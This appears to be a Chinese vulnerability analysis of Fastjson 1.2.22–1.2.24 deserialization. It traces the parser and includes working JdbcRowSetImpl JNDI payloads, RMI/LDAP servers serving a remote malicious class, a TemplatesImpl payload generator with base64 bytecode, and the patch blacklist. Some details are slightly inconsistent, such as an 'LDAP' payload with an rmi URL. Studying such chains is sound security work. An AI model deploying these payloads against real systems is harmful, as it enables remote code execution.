fastjson kotson_Fastjson 1.2.22-1.2.24反序列化漏洞分析

Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

Fastjson序列化与反序列化

序列化

Student.javapublic class Student {

private String name;

private int age;

public Student() {

System.out.println("构造函数");

}

public String getName() {

System.out.println("getName");

return name;

}

public void setName(String name) {

System.out.println("setName");

this.name = name;

}

public int getAge() {

System.out.println("getAge");

return age;

}

public void setAge(int age) {

System.out.println("setAge");

this.age = age;

}

}

然后通过Ser.java进行序列化import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {

public static void main(String[] args){

Student student = new Student();

student.setName("ghtwf01");

student.setAge(80);

String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);

System.out.println(jsonstring);

}

}

SerializerFeature.WriteClassName是toJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。

没加SerializerFeature.WriteClassName时

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别public static JSONObject parseObject(String text) {

Object obj = parse(text);

return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);

}

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。

看下面几种反序列化方法

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.javaimport java.io.IOException;

public class Student {

private String name;

private int age;

private String sex;

public Student() {

System.out.println("构造函数");

}

public String getName() {

System.out.println("getName");

return name;

}

public void setName(String name) {

System.out.println("setName");

this.name = name;

}

public int getAge() {

System.out.println("getAge");

return age;

}

public void setAge(int age) {

System.out.println("setAge");

this.age = age;

}

public void setSex(String sex) throws IOException {

System.out.println("setSex");

Runtime.getRuntime().exec("open -a Calculator");

}

}

Unser.javaimport com.alibaba.fastjson.JSON;

public class Unser {

public static void main(String[] args){

String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";

//System.out.println(JSON.parse(jsonstring));

System.out.println(JSON.parseObject(jsonstring));

}

}

Fastjson反序列化流程分析

在parseObject处下断点,跟进public static JSONObject parseObject(String text) {

Object obj = parse(text);

return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);

}

第一行将json字符串转化成对象,跟进parsepublic static Object parse(String text) {

return parse(text, DEFAULT_PARSER_FEATURE);

}

继续跟进public static Object parse(String text, int features) {

if (text == null) {

return null;

} else {

DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);

Object value = parser.parse();

parser.handleResovleTask(value);

parser.close();

return value;

}

}

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作int ch = lexer.getCurrent();

if (ch == '{') {

lexer.next();

((JSONLexerBase)lexer).token = 12;

} else if (ch == '[') {

lexer.next();

((JSONLexerBase)lexer).token = 14;

} else {

lexer.nextToken();

}

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法

因为之前设置了token值为12,所以进入如下判断case 12:

JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {

ref = lexer.scanSymbol(this.symbolTable, '"');

Class> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());

if (clazz != null) {

lexer.nextToken(16);

if (lexer.token() != 13) {

this.setResolveStatus(2);

if (this.context != null && !(fieldName instanceof Integer)) {

this.popContext();

}

if (object.size() > 0) {

instance = TypeUtils.cast(object, clazz, this.config);

this.parseObject(instance);

thisObj = instance;

return thisObj;

}

这里会通过scanSymbol获取到@type指定类

然后通过 TypeUtils.loadClass 方法加载Class

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

接着创建了ObjectDeserializer类并调用了deserialze方法ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

thisObj = deserializer.deserialze(this, clazz, fieldName);

return thisObj;

首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread

到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.javapublic class JNDIServer {

public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

Registry registry = LocateRegistry.createRegistry(1099);

Reference reference = new Reference("Exloit",

"badClassName","http://127.0.0.1:8000/");

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

registry.bind("Exploit",referenceWrapper);

}

}

远程恶意类badClassName.classpublic class badClassName {

static{

try{

Runtime.getRuntime().exec("open /System/Applications/Calculator.app");

}catch(Exception e){

;

}

}

}

客户端JNDIClient.javaimport com.alibaba.fastjson.JSON;

public class JNDIClient {

public static void main(String[] argv){

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";

JSON.parse(payload);

}

}

LDAP+JNDI

POC和上面一样,就是改了一下url,因为是ldap了{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.javaimport com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPException;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

import javax.net.ssl.SSLSocketFactory;

import java.net.InetAddress;

import java.net.MalformedURLException;

import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";

int port = 1389;

try {

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);

config.setListenerConfigs(new InMemoryListenerConfig(

"listen",

InetAddress.getByName("0.0.0.0"),

port,

ServerSocketFactory.getDefault(),

SocketFactory.getDefault(),

(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));

InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);

System.out.println("Listening on 0.0.0.0:" + port);

ds.startListening();

}

catch ( Exception e ) {

e.printStackTrace();

}

}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

/**

*

*/

public OperationInterceptor ( URL cb ) {

this.codebase = cb;

}

/**

* {@inheritDoc}

*

* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)

*/

@Override

public void processSearchResult ( InMemoryInterceptedSearchResult result ) {

String base = result.getRequest().getBaseDN();

Entry e = new Entry(base);

try {

sendResult(result, base, e);

}

catch ( Exception e1 ) {

e1.printStackTrace();

}

}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {

URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));

System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);

e.addAttribute("javaClassName", "Exploit");

String cbstring = this.codebase.toString();

int refPos = cbstring.indexOf('#');

if ( refPos > 0 ) {

cbstring = cbstring.substring(0, refPos);

}

e.addAttribute("javaCodeBase", cbstring);

e.addAttribute("objectClass", "javaNamingReference");

e.addAttribute("javaFactory", this.codebase.getRef());

result.sendSearchEntry(e);

result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

}

}

}

LDAPClient.javaimport javax.naming.Context;

import javax.naming.InitialContext;

import javax.naming.NamingException;

public class LDAPClient {

public static void main(String[] args) throws Exception{

try {

Context context = new InitialContext();

context.lookup("ldap://127.0.0.1:1389/badClassName");

}

catch (NamingException e) {

e.printStackTrace();

}

}

}

恶意远程类和上面一样

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

跟进connect方法

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:connect:643, JdbcRowSetImpl (com.sun.rowset)

setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

invoke:57, NativeMethodAccessorImpl (sun.reflect)

invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

invoke:606, Method (java.lang.reflect)

setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)

parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)

parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)

deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:137, JSON (com.alibaba.fastjson)

parse:128, JSON (com.alibaba.fastjson)

main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.javaimport com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {

Runtime.getRuntime().exec("open -a Calculator");

}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

}

@Override

public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {

TEMPOC t = new TEMPOC();

}

}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payloadimport base64

fin = open(r"TEMPOC.class","rb")

byte = fin.read()

fout = base64.b64encode(byte).decode("utf-8")

poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout

print poc

POC如下{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

跟进parseField方法,对_bytecodes对应的内容进行解析

跟进FieldDeserializer#parseField方法

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

跟进newTransformer方法

跟进getTransletInstance方法

这里通过defineTransletClasses创建了TEMPOC类并生成了实例

进而执行TEMPOC类的构造方法

所以就执行了任意代码,整个调用栈如下:13, TEMPOC

newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)

newInstance:62, NativeConstructorAccessorImpl (sun.reflect)

newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)

newInstance:423, Constructor (java.lang.reflect)

newInstance:442, Class (java.lang)

getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)

newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

invoke:62, NativeMethodAccessorImpl (sun.reflect)

invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

invoke:498, Method (java.lang.reflect)

setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)

parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)

parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)

parse:137, JSON (com.alibaba.fastjson)

parse:193, JSON (com.alibaba.fastjson)

parseObject:197, JSON (com.alibaba.fastjson)

main:7, Unser

一些问题解惑

为什么要继承AbstractTranslet类

上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例,现在我们跟进这个方法看一看

如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常

为什么需要对_bytecodes进行Base64编码

上面说了通过FieldDeserializer#parseField对_bytecodes对应的内容进行解析得到对value是base64解码后的内容,那么我们就看一看value值怎么来的

跟进deserialze方法

跟进parseArray方法

跟进ObjectDeserializer#deserializer方法

跟进byteValue方法

将_bytecodes的内容进行base64解码

为什么需要设置_tfactory为{}

在调用defineTransletClasses方法时,若_tfactory为null则会导致代码报错

补丁分析

从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:

使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链bsh

com.mchange

com.sun.

java.lang.Thread

java.net.Socket

java.rmi

javax.xml

org.apache.bcel

org.apache.commons.beanutils

org.apache.commons.collections.Transformer

org.apache.commons.collections.functors

org.apache.commons.collections4.comparators

org.apache.commons.fileupload

org.apache.myfaces.context.servlet

org.apache.tomcat

org.apache.wicket.util

org.codehaus.groovy.runtime

org.hibernate

org.jboss

org.mozilla.javascript

org.python.core

org.springframework

参考文档

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值